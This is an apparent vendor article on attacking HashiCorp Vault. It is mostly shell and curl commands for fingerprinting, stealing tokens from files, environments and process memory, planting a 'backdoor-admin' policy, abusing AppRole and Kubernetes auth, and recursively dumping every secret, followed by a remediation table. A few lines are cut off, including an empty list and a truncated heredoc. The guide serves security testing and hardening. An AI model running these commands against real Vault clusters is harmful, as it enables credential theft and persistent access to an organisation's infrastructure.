HashiCorp Vault Security Testing: Misconfigured Policies, Token Theft, and Secret Exfiltration

HashiCorp Vault is the most widely deployed secrets management solution in DevOps environments. Getting root-level access to a Vault cluster means access to every database password, API key, TLS certificate, and cloud credential managed by that organization. This guide covers the Vault attack surface.

Why Vault Is a Critical Target

A compromised Vault instance typically gives an attacker:

Unlike attacking individual services, a successful Vault compromise is a single pivot point to the entire infrastructure.

Phase 1: Reconnaissance and Fingerprinting

Discovering Vault Instances

# Vault default port is 8200 (HTTP/HTTPS)
# Common DNS patterns
vault.company.com
secrets.company.com
vault.internal

# Check for unauthenticated health endpoint
curl -s https://vault.target.com/v1/sys/health | jq .
# Returns: {"initialized":true,"sealed":false,"version":"1.15.2",...}

# Check seal status (unauthenticated)
curl -s https://vault.target.com/v1/sys/seal-status | jq .

# Version fingerprinting
curl -s https://vault.target.com/v1/sys/health | jq .version

# Check for Vault UI
curl -s https://vault.target.com/ | grep -i "vault"

# Vault on non-standard ports
nmap -p 8200,8201,8202 vault.target.com --open

Enumeration with Initial Access

# List auth methods (partially unauthenticated in some configs)
curl -s https://vault.target.com/v1/sys/auth

# Check which secrets engines are mounted
vault secrets list -detailed

# Via API with token
VAULT_TOKEN="[token]"
curl -H "X-Vault-Token: $VAULT_TOKEN" \
  https://vault.target.com/v1/sys/mounts | jq 'keys'

# List policies
vault policy list
curl -H "X-Vault-Token: $VAULT_TOKEN" \
  https://vault.target.com/v1/sys/policies/acl | jq .

# Check capabilities of current token
vault token capabilities secret/data/app/database
vault token lookup   # see TTL, policies, metadata

Phase 2: Token Theft and Discovery

Finding Vault Tokens in the Environment

# Environment variables
echo $VAULT_TOKEN
env | grep -i vault

# Docker containers
docker inspect [container] | jq '.[].Config.Env[] | select(contains("VAULT_TOKEN"))'

# Kubernetes secrets
kubectl get secrets -A -o json | \
  jq '.items[] | select(.data | has("VAULT_TOKEN") or has("vault-token")) | {name: .metadata.name, ns: .metadata.namespace}'

# Kubernetes pod environments
kubectl exec [pod] -- env | grep VAULT_TOKEN

# CI/CD pipeline logs
# Search build logs for patterns: s\.[a-zA-Z0-9]{24}

# Process list (vault agent may expose token)
ps aux | grep vault
cat /proc/[vault-agent-pid]/environ | tr '\0' '\n' | grep VAULT

# Common file locations
cat ~/.vault-token
cat /root/.vault-token
find / -name ".vault-token" 2>/dev/null
find /var/run -name "vault*" 2>/dev/null

Vault Agent Token Theft

# Vault Agent writes the token to a sink file
# Find agent configuration
find / -name "vault-agent*.hcl" 2>/dev/null
cat /etc/vault/agent.hcl

# Check file sinks defined in agent config
# Common patterns:
# sink { type = "file" config = { path = "/var/run/secrets/vault-token" } }

cat /var/run/secrets/vault-token
cat /tmp/vault-token

Phase 3: Policy Misconfiguration Exploitation

Common Over-Permissive Policies

# Read all policies to find misconfigurations
vault policy list | while read p; do
  echo "=== Policy: $p ==="
  vault policy read $p
done

# Dangerous patterns to look for:

# 1. Wildcard path
path "*" {
  capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}

# 2. Wildcard on KV engine
path "secret/*" {
  capabilities = ["read", "list"]   # reads ALL secrets
}

# 3. sys/* access (admin-level)
path "sys/*" {
  capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}

# 4. auth/token/create (can mint tokens for any policy)
path "auth/token/create" {
  capabilities = ["create", "update"]
}

Token Escalation via Policy Manipulation

# If you have sys/policies/acl write access:
# Create a new admin policy
vault policy write backdoor-admin - <

Mounting New Secrets Engines

# If you have sys/mounts/* create capability:
# Mount a new KV engine to store exfiltrated data
vault secrets enable -path=attacker kv-v2

# Or mount an AWS secrets engine with your own credentials
# to generate AWS tokens on demand
vault secrets enable aws
vault write aws/config/root \
  access_key=AKIAIOSFODNN7ATTACKER \
  secret_key=[attacker-secret] \
  region=us-east-1

Phase 4: AppRole Authentication Abuse

Stealing role_id and secret_id

# AppRole auth requires two credentials: role_id (semi-public) + secret_id (secret)
# role_id is often stored alongside application configs:
grep -r "role_id\|roleId\|ROLE_ID" /etc/app/ /opt/ ~/.config/ 2>/dev/null

# secret_id is rotatable but often in environment variables:
echo $VAULT_SECRET_ID
grep -r "secret_id\|secretId\|SECRET_ID" /etc/app/ /opt/ 2>/dev/null

# Once you have both, authenticate:
curl -X POST https://vault.target.com/v1/auth/approle/login \
  -d '{"role_id":"[role-id]","secret_id":"[secret-id]"}' | jq .auth.client_token

# Enumerate AppRole roles (if you have auth/approle/role/* list access)
vault list auth/approle/role/
vault read auth/approle/role/[role-name]/role-id

Generating Unlimited secret_ids

# If secret_id_num_uses is 0 (unlimited), generate new secret_ids indefinitely
# If secret_id_ttl is not set, they never expire
vault read auth/approle/role/[role-name]
# Check: secret_id_num_uses=0, secret_id_ttl=0 = highly exploitable

# Generate new secret_ids (requires auth/approle/role/[name]/secret-id create)
vault write -f auth/approle/role/[role-name]/secret-id

Phase 5: Kubernetes Auth Method Exploitation

# Vault Kubernetes auth allows pods to authenticate using their ServiceAccount JWT
# If the Vault role has overly broad bound_service_account_names:

# Check role configuration
vault read auth/kubernetes/role/[role-name]
# Dangerous: bound_service_account_names=* or bound_service_account_namespaces=*

# From inside a Kubernetes pod, authenticate with SA JWT:
JWT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -X POST https://vault.target.com/v1/auth/kubernetes/login \
  -d "{\"jwt\":\"$JWT\",\"role\":\"[role-name]\"}" | jq .auth.client_token

# If the role allows any service account in any namespace:
# Any pod can authenticate and get the associated Vault token

Phase 6: Secret Exfiltration

# Once you have a token with sufficient permissions, bulk-read secrets:

# Recursive secret enumeration
vault_dump() {
  local path="${1:-secret/}"
  vault list "$path" 2>/dev/null | tail -n +3 | while read key; do
    if [[ "$key" == */ ]]; then
      vault_dump "${path}${key}"
    else
      echo "=== ${path}${key} ==="
      vault kv get "${path}${key}" 2>/dev/null
    fi
  done
}
vault_dump "secret/"

# Via API (faster for bulk operations)
VAULT_TOKEN="[token]" VAULT_ADDR="https://vault.target.com"
list_and_read() {
  local path="$1"
  curl -s -H "X-Vault-Token: $VAULT_TOKEN" \
    "$VAULT_ADDR/v1/$path?list=true" | \
    jq -r '.data.keys[]?' | while read key; do
      if [[ "$key" == */ ]]; then
        list_and_read "${path}${key}"
      else
        echo "=== ${path}${key} ==="
        curl -s -H "X-Vault-Token: $VAULT_TOKEN" \
          "$VAULT_ADDR/v1/${path}${key}" | jq .data
      fi
    done
}
list_and_read "secret/data/"

Remediation Checklist

RiskFix
Wildcard policiesScope paths explicitly; use path "secret/data/app/{{identity.entity.name}}/*" templating
Root token in useRevoke root token after initialization; use break-glass procedure to regenerate
Token sinks world-readableSet restrictive file permissions on Vault Agent sinks; use response wrapping
Kubernetes auth wildcardBind roles to specific namespaces and service accounts, never *
AppRole secret_id no TTLSet secret_id_ttl and secret_id_num_uses; use response wrapping for delivery
No audit loggingEnable audit device: vault audit enable file file_path=/var/log/vault/audit.log
UI exposed externallyRestrict Vault UI to VPN/internal network; disable if not needed
Unsealed key exposureUse auto-unseal with AWS KMS/Azure Key Vault/GCP KMS; never store unseal keys with Vault data

Protect the Applications That Use Vault

Ironimo scans the web application layer for vulnerabilities that could lead to Vault token theft — SSRF, command injection, path traversal, and insecure deserialization. If an attacker can read your app's environment, they can steal your Vault token. Start free scan.